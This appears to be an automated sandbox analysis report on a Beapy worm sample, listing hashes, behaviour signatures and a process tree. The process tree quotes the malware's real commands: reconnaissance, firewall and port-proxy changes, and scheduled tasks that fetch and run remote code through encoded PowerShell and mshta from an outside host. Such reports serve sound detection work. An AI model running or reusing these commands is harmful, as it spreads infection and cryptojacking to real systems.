Analysis

  • max time kernel
    152s
  • max time network
    168s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    28-01-2022 03:35

General

  • Target

    xjEvr.exe

  • Size

    6.6MB

  • MD5

    6d35df76deb4a90f3753cc5f08874594

  • SHA1

    871eb58b0fe5e4bbabae265d144c2243bd01d706

  • SHA256

    a5b3049a22d59c619f4b48926e347f475aa2568ccf169d01ca2aa613a631928c

  • SHA512

    97a65b2babda90904bdbfbb0283b4b8d8556a4ebda3bf54c84478a62ea519495fd1a3df045c537c08913cd710056f60feb932a06df5cec0afb7a0c7d04a0edfd

Score
10/10

Malware Config

Signatures

  • Beapy

    Beapy is a python worm with crypto mining capabilities.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies Windows Firewall 1 TTPs
  • Loads dropped DLL 20 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Gathers network information 2 TTPs 3 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 33 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 42 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\xjEvr.exe
    "C:\Users\Admin\AppData\Local\Temp\xjEvr.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1276
    • C:\Users\Admin\AppData\Local\Temp\xjEvr.exe
      "C:\Users\Admin\AppData\Local\Temp\xjEvr.exe"
      2⤵
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1816
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c wmic ntdomain get domainname
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1116
        • C:\Windows\SysWOW64\Wbem\WMIC.exe
          wmic ntdomain get domainname
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:1824
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c net localgroup administrators
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1256
        • C:\Windows\SysWOW64\net.exe
          net localgroup administrators
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1944
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 localgroup administrators
            5⤵
              PID:1712
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c net group "domain admins" /domain
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1672
          • C:\Windows\SysWOW64\net.exe
            net group "domain admins" /domain
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1952
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 group "domain admins" /domain
              5⤵
                PID:924
          • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe -exec bypass "import-module C:\Users\Admin\AppData\Local\Temp\m2.ps1"
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1948
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ipconfig /all
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1464
            • C:\Windows\SysWOW64\ipconfig.exe
              ipconfig /all
              4⤵
              • Gathers network information
              PID:1700
          • C:\Windows\SysWOW64\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:1108
          • C:\Windows\SysWOW64\netstat.exe
            netstat -na
            3⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:532
      • C:\Windows\RIRTFAyH.exe
        C:\Windows\RIRTFAyH.exe
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:2632
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c call "c:\windows\temp\tmp.vbs"
          2⤵
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2348
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\windows\temp\tmp.vbs"
            3⤵
            • Modifies data under HKEY_USERS
            PID:1976
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c echo CWyoEH >> c:\windows\temp\svchost.exe&echo "*" >c:\windows\temp\ipc.txt&netsh firewall add portopening tcp 65533 DNSd&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&copy /y c:\windows\temp\svchost.exe c:\windows\bcyxgFeL.exe&move /y c:\windows\temp\dig.exe c:\windows\WrkhJVE.exe&if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn bcyxgFeL /tr "C:\Windows\bcyxgFeL.exe" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\tOjxEur" /tr "c:\windows\WrkhJVE.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.beahh.com/page.html?pVQVVOAJK"&schtasks /run /TN Autocheck&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "c:\windows\WrkhJVE.exe"&schtasks /run /TN Autostart&start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN escan /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN escan /tr "c:\windows\bcyxgFeL.exe"&schtasks /run /TN escan)
              4⤵
              • Drops file in Windows directory
              PID:1920
              • C:\Windows\SysWOW64\netsh.exe
                netsh firewall add portopening tcp 65533 DNSd
                5⤵
                • Modifies data under HKEY_USERS
                PID:1680
              • C:\Windows\SysWOW64\netsh.exe
                netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53
                5⤵
                • Modifies data under HKEY_USERS
                PID:2212
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetool" /tr "powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=" /F
                5⤵
                • Creates scheduled task(s)
                PID:2184
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /ru system /sc MINUTE /mo 10 /st 07:05:00 /tn bcyxgFeL /tr "C:\Windows\bcyxgFeL.exe" /F
                5⤵
                • Creates scheduled task(s)
                PID:2120
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\tOjxEur" /tr "c:\windows\WrkhJVE.exe" /F
                5⤵
                • Creates scheduled task(s)
                PID:760
      • C:\Windows\GweqxYeZ.exe
        C:\Windows\GweqxYeZ.exe
        1⤵
          PID:2288

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • memory/1816-102-0x00000000002B0000-0x00000000002C5000-memory.dmp

          Filesize

          84KB

        • memory/1816-99-0x0000000000200000-0x0000000000210000-memory.dmp

          Filesize

          64KB

        • memory/1816-58-0x0000000076041000-0x0000000076043000-memory.dmp

          Filesize

          8KB

        • memory/1816-71-0x00000000005A0000-0x0000000000655000-memory.dmp

          Filesize

          724KB

        • memory/1816-90-0x0000000000180000-0x0000000000190000-memory.dmp

          Filesize

          64KB

        • memory/1816-81-0x0000000000230000-0x00000000002AC000-memory.dmp

          Filesize

          496KB

        • memory/1948-104-0x000007FEFB8C1000-0x000007FEFB8C3000-memory.dmp

          Filesize

          8KB

        • memory/1948-105-0x000007FEF2B40000-0x000007FEF369D000-memory.dmp

          Filesize

          11.4MB

        • memory/1948-106-0x0000000002850000-0x0000000002852000-memory.dmp

          Filesize

          8KB

        • memory/1948-107-0x0000000002852000-0x0000000002854000-memory.dmp

          Filesize

          8KB

        • memory/1948-108-0x0000000002854000-0x0000000002857000-memory.dmp

          Filesize

          12KB

        • memory/1948-110-0x000000000285B000-0x000000000287A000-memory.dmp

          Filesize

          124KB